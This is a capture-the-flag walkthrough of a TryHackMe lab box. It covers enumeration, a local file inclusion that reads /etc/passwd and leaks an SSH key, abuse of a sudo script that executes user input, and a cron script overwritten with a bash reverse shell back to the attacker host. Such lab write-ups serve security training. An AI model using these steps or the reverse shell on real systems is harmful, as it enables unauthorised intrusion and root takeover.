The THM link: https://tryhackme.com/room/teamcw.
Introduction
This write up is meant to be read mostly for tryhackme [THM] users. Although I tried to make it as lean and easy to read as I could I realise there is a fair amount of technical jargon and tools used, that might not make sense if you are not a THM user, I hope it is written in a way most tech people would understand. During this text I’ll be talking about two entities:
- The attacker box: 10.9.X.X
- The target box: 10.10.X.X
First scouting
While it sounds reasonable that this box is beginner friendly, it took me around 2 days to root. The first clue is right there in the index page that I completely skipped around a thousand times because it looks exactly like the ubuntu default apache page. One Caveat though the title says:
<title>Apache2 Ubuntu Default Page: It works! If you see this add 'team.thm' to your hosts!</title>
Then it hits you like a ton of bricks… you just have to add team.thm to your /etc/hosts file.
But before that, let’s run some nmap to see what network services is it running.
$ sudo nmap -sS 10.10.X.X
Starting Nmap 7.91 ( https://nmap.org ) at REDACTED
Nmap scan report for team.thm (10.10.X.X)
Host is up (0.048s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 5.38 seconds
So now we know we have http, ftp and ssh running on this box. As with other TryHackMe challenges, this services combined often offer more than 1 attack vector. In this post I’ll expose just 1 approach.
Exploring the team site
if we explore the team.thm site now with gobuster:
$ gobuster dir -u team.thm -x txt,php -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
A couple of things stands out:
===============================================================
2021/03/07 17:46:09 Starting gobuster
===============================================================
/images (Status: 301)
/scripts (Status: 301)
/assets (Status: 301)
/robots.txt (Status: 200)
The robots.txt file content is “dale”, we pencil that down, it might be useful further down the line.
$ curl http://team.thm/robots.txt
dale
The /scripts directory there… is not linked from the web page… we should dig deeper.
$ gobuster dir -u team.thm/scripts/ -x txt,php -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
...
/script.txt (Status: 200)
The result is interesting, a nice script.txt with valuable content
$ curl http://team.thm/scripts/script.txt
#!/bin/bash
read -p "Enter Username: " REDACTED
read -sp "Enter Username Password: " REDACTED
echo
ftp_server="localhost"
ftp_username="$Username"
ftp_password="$Password"
mkdir /home/username/linux/source_folder
source_folder="/home/username/source_folder/"
cp -avr config* $source_folder
dest_folder="/home/username/linux/dest_folder/"
ftp -in $ftp_server <<END_SCRIPT
quote USER $ftp_username
quote PASS $decrypt
cd $source_folder
!cd $dest_folder
mget -R *
quit
# Updated version of the script
# Note to self had to change the extension of the old "script" in this folder, as it has creds in
Now the content of the file is telling us that the file script.old has the credentials for the ftp server. Small disclaimer here, I haven’t found the script.txt or script.old files until I already had user access to the box, though I’m including this steps as anyone else could have found it and I think the box is more beginner friendly if you find this evidence first.
Exploring the ftp content
After getting inside the ftp we found a file named New_site.txt.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x 2 65534 65534 4096 Jan 15 20:25 workshare
226 Directory send OK.
ftp> cd workshare
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxr-xr-x 1 1002 1002 269 Jan 15 20:24 New_site.txt
226 Directory send OK.
ftp> get New_site.txt
local: New_site.txt remote: New_site.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for New_site.txt (269 bytes).
226 Transfer complete.
269 bytes received in 0.01 secs (21.4480 kB/s)
Let’s have a look at the content…
$ cat New_site.txt
Dale
I have started coding a new website in PHP for the team to use, this is currently under development. It can be
found at ".dev" within our domain.
Also as per the team policy please make a copy of your "id_rsa" and place this in the relevent config file.
Whoohoo!, the text file reveals two important things:
- the existence of the dev subdomain, and
- the fact that we might be able to find the private key for the user dale in the relevant config file…
With this in mind we’ll look at that dev subdomain first.
Looking at the dev site
First things first, we add another entry in /etc/hosts to dev.team.thm.
Now let’s have a look at the dev version of the site:
$ curl dev.team.thm
<html>
<head>
<title>UNDER DEVELOPMENT</title>
</head>
<body>
Site is being built<a href=script.php?page=teamshare.php </a>
<p>Place holder link to team share</p>
</body>
</html>
we can see a link to script.php?page=teamshare.php
$ curl http://dev.team.thm/script.php?page=teamshare.php
<html>
<head>
<title>Team Share</title>
</head>
<body>
Place holder for future team share </body>
</html>
it seems that script.php has some code to include the contents of teamshare.php, as the same content can be obtained by browsing teamshare.php directly
$ curl http://dev.team.thm/teamshare.php
This smells like local file inclusion… let’s try something simple
http://dev.team.thm/script.php?page=/etc/passwd
The simplest case of lfi, it works with absolute paths, how nice. From the output we found some interesting data:
$ curl -s http://dev.team.thm/script.php?page=/etc/passwd |grep sh
root:x:0:0:root:/root:/bin/bash
dale:x:1000:1000:anon,,,:/home/dale:/bin/bash
gyles:x:1001:1001::/home/gyles:/bin/bash
ftpuser:x:1002:1002::/home/ftpuser:/bin/sh
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
So now we know in the box, the users root, dale, gyles, and ftpuser can spawn a login shell. We did know about dale and ftpuser but gyles is new to us… Pencil that down as well, it might play its part later on.
Now if we remember we might find dale’s private key in the relevant config file… Now this box had http, ftp and ssh services and we know PKI authentication is often set up in ssh, let’s try to use the LFI vulnerability we’ve just found on the sshd config file:
$ curl -s http://dev.team.thm/script.php?page=/etc/ssh/sshd_config
Right, as we were expecting… Dale left his private key in the relevant file.
The user Dale
The dale user will give us the user flag, a much expected one after all this work:
$ ssh -i dale_id_rsa dale@dev.team.thm
Last login: Mon Jan 18 10:51:32 2021
dale@TEAM:~$ ls
user.txt
dale@TEAM:~$ cat user.txt
One of the first things I do after landing on a user shell is:
- ls -la to see where I am and what kind of environment we have at hand
dale@TEAM:~$ ls -la total 44 drwxr-xr-x 6 dale dale 4096 Jan 15 22:34 . drwxr-xr-x 5 root root 4096 Jan 15 20:21 .. -rw------- 1 dale dale 2549 Jan 21 19:20 .bash_history -rw-r--r-- 1 dale dale 220 Jan 15 19:52 .bash_logout -rw-r--r-- 1 dale dale 3771 Jan 15 19:52 .bashrc drwx------ 2 dale dale 4096 Jan 15 19:54 .cache drwx------ 3 dale dale 4096 Jan 15 22:20 .gnupg drwxrwxr-x 3 dale dale 4096 Jan 15 21:29 .local -rw-r--r-- 1 dale dale 807 Jan 15 19:52 .profile drwx------ 2 dale dale 4096 Jan 15 20:15 .ssh -rw-r--r-- 1 dale dale 0 Jan 15 19:55 .sudo_as_admin_successful -rw-rw-r-- 1 dale dale 17 Jan 15 21:30 user.txt
This is gold, is telling us that this user is able to run sudo. There is a load of useful things in that .bash_history that I’m going to skip here for now.
- I always run sudo -l, always…. Have I said always? always… I think you get it.
dale@TEAM:~$ sudo -l
Matching Defaults entries for dale on TEAM:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User dale may run the following commands on TEAM:
(gyles) NOPASSWD: /home/gyles/admin_checks
And this gives us more gold than we could have asked for, the user dale can run the command admin_checks as the user gyles without having to provide the password. Thanks, this could be our way to root… Now what is in that file admin_checks, can we see it?
$ ls -la /home/gyles/admin_checks
-rwxr--r-- 1 gyles editors 399 Jan 15 21:52 /home/gyles/admin_checks
$ cat /home/gyles/admin_checks
#!/bin/bash
printf "Reading stats.\n"
sleep 1
printf "Reading stats..\n"
sleep 1
read -p "Enter name of person backing up the data: " name
echo $name >> /var/stats/stats.txt
read -p "Enter 'date' to timestamp the file: " error
printf "The Date is "
$error 2>/dev/null
date_save=$(date "+%F-%H-%M")
cp /var/stats/stats.txt /var/stats/stats-$date_save.bak
printf "Stats have been backed up\n"
We can read the file, and the code seems to have a bug we can leverage on. The line $error 2>/dev/null
is effectively executing anything that the user entries, sending the standard error to /dev/null. Let’s see what we can do from here:
dale@TEAM:~$ sudo -u gyles /home/gyles/admin_checks
Reading stats.
Reading stats..
Enter name of person backing up the data: nonimportant
Enter 'date' to timestamp the file: bash
The Date is id
uid=1001(gyles) gid=1001(gyles) groups=1001(gyles),1003(editors),1004(admin)
Yes, so we got a shell as the user gyles now and this user is in admin group… We are in the right track, this deserves a new section.
The user Gyles
Now if you explore the filesystem, you’ll find some files that this user or group can edit but I really wasn’t able to understand how to use them until I looked at the gyles .bash_history:
...
ls -la
su root
id
cd /opt
ls -la
cd admin_stuff/
ls
./blog_backup.sh
clear
...
The directory admin_stuff stands out, let’s have a look:
cd /opt/admin_stuff
ls
script.sh
A script.sh file, we definitely want to look at its content:
cat script.sh
#!/bin/bash
#I have set a cronjob to run this script every minute
dev_site="/usr/local/sbin/dev_backup.sh"
main_site="/usr/local/bin/main_backup.sh"
#Back ups the sites locally
$main_site
$dev_site
Thank you very much admin. This script.sh is cronned to run each minute. It runs 2 backups, one for the dev_site and one for the main_site. let’s have a look at those:
ls -l /usr/local/sbin/dev_backup.sh
-rwxr-xr-x 1 root root 64 Jan 17 19:42 /usr/local/sbin/dev_backup.sh
ls -l /usr/local/bin/main_backup.sh
-rwxrwxr-x 1 root admin 65 Jan 17 20:36 /usr/local/bin/main_backup.sh
We can see that the main_backup.sh file, can be modified by anyone in the admin group and gyles is in the admin group… That is our attack vector to root the box
Getting the root shell
This step is not required at all, you can simply modify the above script to cat the contents of the flag into a file that you can read, but I added it just to illustrate the concept. We can get a root shell by modifying the main_backup.sh script.
echo "bash -i >& /dev/tcp/10.9.X.X/1234 0>&1" > /usr/local/bin/main_backup.sh
In the attacker box you need to have netcat listening on port 1234:
nc -nlvp 1234
And that is all, after waiting some seconds the shell pops up:
listening on [any] 1234 ...
connect to [10.9.X.X] from (UNKNOWN) [10.10.X.X] 59870
bash: cannot set terminal process group (2465): Inappropriate ioctl for device
bash: no job control in this shell
root@TEAM:~#
From there we can grab the root flag:
root@TEAM:~# cat root.txt